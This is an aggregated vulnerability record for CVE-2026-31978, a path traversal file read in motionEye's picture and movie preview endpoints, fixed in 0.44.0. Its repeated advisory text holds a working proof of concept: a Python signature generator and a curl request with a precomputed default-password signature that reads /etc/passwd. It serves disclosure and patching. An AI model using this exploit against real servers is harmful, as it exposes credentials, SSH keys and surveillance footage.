{"id":"CVE-2026-31978","aliases":["EUVD-2026-39078","GHSA-g9fx-5r4h-pcw3","PYSEC-2026-2664"],"status":"published","title":"motionEye: Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint","description":"motionEye (mEye) is an online interface for motion software, which is a video surveillance program with motion detection. Versions prior to 0.44.0 are vulnerable to path traversal in the picture and movie API endpoints, suhc as /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions such as get_media_preview() check for .. sequences in the filename parameter, except for get_media_content(). This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user, such as:  /etc/passwd, /etc/shadow, motionEye config files containing password hashes and plaintext passwords, SSH keys, and other cameras' surveillance footage. This issue has been fixed in version 0.44.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00336,"percentile":0.272,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-284"],"published":"2026-06-22T17:10:38Z","modified":"2026-10-28T02:30:42Z","fixes":[{"ecosystem":"PyPI","package":"motioneye","fixed_in":["0.44.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"motioneye","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.44.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"motioneye","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.44.0"}]}],"versions":["0.27","0.27.1","0.27.2","0.28","0.28.1","0.28.2","0.28.3","0.29","0.29.1","0.29rc1","0.29rc2","0.30","0.30rc1","0.30rc2","0.31","0.31.1","0.31.2","0.31.3","0.31.4","0.31.5","0.32","0.32.1","0.32.2","0.33","0.33.1","0.33.2","0.33.3","0.33.4","0.34","0.34.1","0.34rc1","0.35","0.35.1","0.35.2","0.35rc1","0.36","0.36.1","0.37","0.37.1","0.37rc1","0.38","0.38.1","0.39","0.39.1","0.39.2","0.39.3","0.40","0.40rc1","0.40rc2","0.40rc3","0.40rc4","0.40rc5","0.41","0.41rc1","0.42","0.42.1","0.43.1","0.43.1b1","0.43.1b2","0.43.1b3","0.43.1b4","0.43.1b5","0.44.0b1","0.44.0b2","0.44.0b3"]},{"source":"osv","ecosystem":"PyPI","package":"motioneye","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.44.0"}]}],"versions":["0.27","0.27.1","0.27.2","0.28","0.28.1","0.28.2","0.28.3","0.29","0.29.1","0.29rc1","0.29rc2","0.30","0.30rc1","0.30rc2","0.31","0.31.1","0.31.2","0.31.3","0.31.4","0.31.5","0.32","0.32.1","0.32.2","0.33","0.33.1","0.33.2","0.33.3","0.33.4","0.34","0.34.1","0.34rc1","0.35","0.35.1","0.35.2","0.35rc1","0.36","0.36.1","0.37","0.37.1","0.37rc1","0.38","0.38.1","0.39","0.39.1","0.39.2","0.39.3","0.40","0.40rc1","0.40rc2","0.40rc3","0.40rc4","0.40rc5","0.41","0.41rc1","0.42","0.42.1","0.43.1","0.43.1b1","0.43.1b2","0.43.1b3","0.43.1b4","0.43.1b5","0.44.0b1","0.44.0b2","0.44.0b3"]}],"products":[{"vendor":"motioneye-project","product":"motioneye"}],"references":[{"url":"https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/motioneye-project/motioneye/releases/tag/0.44.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-g9fx-5r4h-pcw3","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/31xxx/CVE-2026-31978.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31978","tags":["advisory"]},{"url":"https://github.com/motioneye-project/motioneye","tags":["package"]},{"url":"https://pypi.org/project/motioneye","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-31978","title":"motionEye: Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint","description":"motionEye (mEye) is an online interface for motion software, which is a video surveillance program with motion detection. Versions prior to 0.44.0 are vulnerable to path traversal in the picture and movie API endpoints, suhc as /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions such as get_media_preview() check for .. sequences in the filename parameter, except for get_media_content(). This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user, such as:  /etc/passwd, /etc/shadow, motionEye config files containing password hashes and plaintext passwords, SSH keys, and other cameras' surveillance footage. This issue has been fixed in version 0.44.0.","status":"published","published":"2026-06-24T20:28:24.286Z","modified":"2026-06-25T23:02:04.304Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22","CWE-284"],"updated_at":"2026-11-02T14:19:51.277563Z"}],"euvd":[{"id":"EUVD-2026-39078","description":"motionEye (mEye) is an online interface for motion software, which is a video surveillance program with motion detection. Versions prior to 0.44.0 are vulnerable to path traversal in the picture and movie API endpoints, suhc as /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions such as get_media_preview() check for .. sequences in the filename parameter, except for get_media_content(). This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user, such as:  /etc/passwd, /etc/shadow, motionEye config files containing password hashes and plaintext passwords, SSH keys, and other cameras' surveillance footage. This issue has been fixed in version 0.44.0.","status":"published","published":"2026-06-24T20:28:24Z","modified":"2026-06-25T23:02:04Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:20:25.316004Z"}],"ghsa":[{"id":"GHSA-g9fx-5r4h-pcw3","title":"motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint","description":"### Summary\n\nmotionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.\n\n### Details\n\nThe `get_media_content()` function properly validates the path:\n\n```python\n# mediafiles.py ~line 506 — SAFE\ndef get_media_content(camera_config, path, media_type):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n\n    if '..' in path:        # \u003c-- PATH TRAVERSAL CHECK PRESENT\n        return None\n    ...\n```\n\nBut `get_media_preview()` does NOT:\n\n```python\n# mediafiles.py ~line 910 — VULNERABLE\ndef get_media_preview(camera_config, path, media_type, ...):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n    # \u003c-- NO '..' CHECK\n    ...\n```\n\nSimilarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern.\n\nThe exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`.\n\n### PoC\n\n**Step 1:** Authenticate as any user (normal or admin).\n\n**Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1(\"GET:\u003cpath\u003e?_username=\u003cuser\u003e::\u003cpassword\u003e\")`. With the default empty admin password:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Signature generator for motionEye path traversal PoC\"\"\"\nimport hashlib, re, urllib.parse\n\n_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=\u0026{}\\[\\]\\\":, -]', re.DOTALL)\n\ndef compute_signature(method, path, key=''):\n    parts = list(urllib.parse.urlsplit(path))\n    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']\n    query.sort(key=lambda q: q[0])\n    query = [(n, urllib.parse.quote(v, safe=\"!'()*~\")) for (n, v) in query]\n    query = '\u0026'.join([(q[0] + '=' + q[1]) for q in query])\n    parts[0] = parts[1] = ''\n    parts[3] = query\n    path = urllib.parse.urlunsplit(parts)\n    path = _SIGNATURE_REGEX.sub('-', path)\n    key = _SIGNATURE_REGEX.sub('-', key)\n    return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()\n\npath = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'\nsig = compute_signature('GET', path)\nprint(f'Signature: {sig}')\nprint(f'curl --path-as-is -s \"http://TARGET:8765/{path}\u0026_signature={sig}\"')\n```\n\n**Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending):\n\n```bash\n# With default empty admin password, the signature is static:\ncurl --path-as-is -s \"http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin\u0026_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c\"\n```\n\n**Step 4:** The server returns the contents of `/etc/passwd`.\n\n**Verified output:**\n\n\u003cimg width=\"1743\" height=\"410\" alt=\"etc_passwd\" src=\"https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64\" /\u003e\n\n\u003e **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter.\n\n### Impact\n\nAn authenticated user (normal or admin) can read arbitrary files from the server, including:\n\n- `/etc/passwd` — user enumeration\n- `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext\n- `/etc/shadow` — password hashes (if running as root, which is default in Docker)\n- SSH keys, environment variables, and other sensitive configuration files\n- Surveillance footage from other cameras","status":"published","published":"2026-06-22T17:10:38Z","modified":"2026-06-22T17:10:39Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-284"],"updated_at":"2026-11-02T14:40:31.656952Z"}],"nvd":[{"id":"CVE-2026-31978","description":"motionEye (mEye) is an online interface for motion software, which is a video surveillance program with motion detection. Versions prior to 0.44.0 are vulnerable to path traversal in the picture and movie API endpoints, suhc as /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions such as get_media_preview() check for .. sequences in the filename parameter, except for get_media_content(). This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user, such as:  /etc/passwd, /etc/shadow, motionEye config files containing password hashes and plaintext passwords, SSH keys, and other cameras' surveillance footage. This issue has been fixed in version 0.44.0.","status":"published","published":"2026-06-24T21:16:53.043Z","modified":"2026-10-25T22:10:00.15Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22","CWE-284"],"updated_at":"2026-11-02T14:12:25.67873Z"}],"osv":[{"id":"CVE-2026-31978","title":"motionEye: Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint","description":"motionEye (mEye) is an online interface for motion software, which is a video surveillance program with motion detection. Versions prior to 0.44.0 are vulnerable to path traversal in the picture and movie API endpoints, suhc as /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions such as get_media_preview() check for .. sequences in the filename parameter, except for get_media_content(). This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user, such as:  /etc/passwd, /etc/shadow, motionEye config files containing password hashes and plaintext passwords, SSH keys, and other cameras' surveillance footage. This issue has been fixed in version 0.44.0.","status":"published","published":"2026-06-24T20:28:24.286Z","modified":"2026-10-28T02:30:42.809420595Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-284"],"updated_at":"2026-11-02T15:45:01.218144Z"},{"id":"GHSA-g9fx-5r4h-pcw3","title":"motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint","description":"### Summary\n\nmotionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.\n\n### Details\n\nThe `get_media_content()` function properly validates the path:\n\n```python\n# mediafiles.py ~line 506 — SAFE\ndef get_media_content(camera_config, path, media_type):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n\n    if '..' in path:        # \u003c-- PATH TRAVERSAL CHECK PRESENT\n        return None\n    ...\n```\n\nBut `get_media_preview()` does NOT:\n\n```python\n# mediafiles.py ~line 910 — VULNERABLE\ndef get_media_preview(camera_config, path, media_type, ...):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n    # \u003c-- NO '..' CHECK\n    ...\n```\n\nSimilarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern.\n\nThe exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`.\n\n### PoC\n\n**Step 1:** Authenticate as any user (normal or admin).\n\n**Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1(\"GET:\u003cpath\u003e?_username=\u003cuser\u003e::\u003cpassword\u003e\")`. With the default empty admin password:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Signature generator for motionEye path traversal PoC\"\"\"\nimport hashlib, re, urllib.parse\n\n_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=\u0026{}\\[\\]\\\":, -]', re.DOTALL)\n\ndef compute_signature(method, path, key=''):\n    parts = list(urllib.parse.urlsplit(path))\n    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']\n    query.sort(key=lambda q: q[0])\n    query = [(n, urllib.parse.quote(v, safe=\"!'()*~\")) for (n, v) in query]\n    query = '\u0026'.join([(q[0] + '=' + q[1]) for q in query])\n    parts[0] = parts[1] = ''\n    parts[3] = query\n    path = urllib.parse.urlunsplit(parts)\n    path = _SIGNATURE_REGEX.sub('-', path)\n    key = _SIGNATURE_REGEX.sub('-', key)\n    return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()\n\npath = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'\nsig = compute_signature('GET', path)\nprint(f'Signature: {sig}')\nprint(f'curl --path-as-is -s \"http://TARGET:8765/{path}\u0026_signature={sig}\"')\n```\n\n**Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending):\n\n```bash\n# With default empty admin password, the signature is static:\ncurl --path-as-is -s \"http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin\u0026_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c\"\n```\n\n**Step 4:** The server returns the contents of `/etc/passwd`.\n\n**Verified output:**\n\n\u003cimg width=\"1743\" height=\"410\" alt=\"etc_passwd\" src=\"https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64\" /\u003e\n\n\u003e **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter.\n\n### Impact\n\nAn authenticated user (normal or admin) can read arbitrary files from the server, including:\n\n- `/etc/passwd` — user enumeration\n- `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext\n- `/etc/shadow` — password hashes (if running as root, which is default in Docker)\n- SSH keys, environment variables, and other sensitive configuration files\n- Surveillance footage from other cameras","status":"published","published":"2026-06-22T17:10:38Z","modified":"2026-07-13T16:43:27.298681649Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-284"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"PYSEC-2026-2664","title":"motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint","description":"### Summary\n\nmotionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.\n\n### Details\n\nThe `get_media_content()` function properly validates the path:\n\n```python\n# mediafiles.py ~line 506 — SAFE\ndef get_media_content(camera_config, path, media_type):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n\n    if '..' in path:        # \u003c-- PATH TRAVERSAL CHECK PRESENT\n        return None\n    ...\n```\n\nBut `get_media_preview()` does NOT:\n\n```python\n# mediafiles.py ~line 910 — VULNERABLE\ndef get_media_preview(camera_config, path, media_type, ...):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n    # \u003c-- NO '..' CHECK\n    ...\n```\n\nSimilarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern.\n\nThe exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`.\n\n### PoC\n\n**Step 1:** Authenticate as any user (normal or admin).\n\n**Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1(\"GET:\u003cpath\u003e?_username=\u003cuser\u003e::\u003cpassword\u003e\")`. With the default empty admin password:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Signature generator for motionEye path traversal PoC\"\"\"\nimport hashlib, re, urllib.parse\n\n_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=\u0026{}\\[\\]\\\":, -]', re.DOTALL)\n\ndef compute_signature(method, path, key=''):\n    parts = list(urllib.parse.urlsplit(path))\n    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']\n    query.sort(key=lambda q: q[0])\n    query = [(n, urllib.parse.quote(v, safe=\"!'()*~\")) for (n, v) in query]\n    query = '\u0026'.join([(q[0] + '=' + q[1]) for q in query])\n    parts[0] = parts[1] = ''\n    parts[3] = query\n    path = urllib.parse.urlunsplit(parts)\n    path = _SIGNATURE_REGEX.sub('-', path)\n    key = _SIGNATURE_REGEX.sub('-', key)\n    return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()\n\npath = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'\nsig = compute_signature('GET', path)\nprint(f'Signature: {sig}')\nprint(f'curl --path-as-is -s \"http://TARGET:8765/{path}\u0026_signature={sig}\"')\n```\n\n**Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending):\n\n```bash\n# With default empty admin password, the signature is static:\ncurl --path-as-is -s \"http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin\u0026_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c\"\n```\n\n**Step 4:** The server returns the contents of `/etc/passwd`.\n\n**Verified output:**\n\n\u003cimg width=\"1743\" height=\"410\" alt=\"etc_passwd\" src=\"https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64\" /\u003e\n\n\u003e **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter.\n\n### Impact\n\nAn authenticated user (normal or admin) can read arbitrary files from the server, including:\n\n- `/etc/passwd` — user enumeration\n- `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext\n- `/etc/shadow` — password hashes (if running as root, which is default in Docker)\n- SSH keys, environment variables, and other sensitive configuration files\n- Surveillance footage from other cameras","status":"published","published":"2026-07-13T15:46:22.414749Z","modified":"2026-07-13T16:32:39.652815105Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}
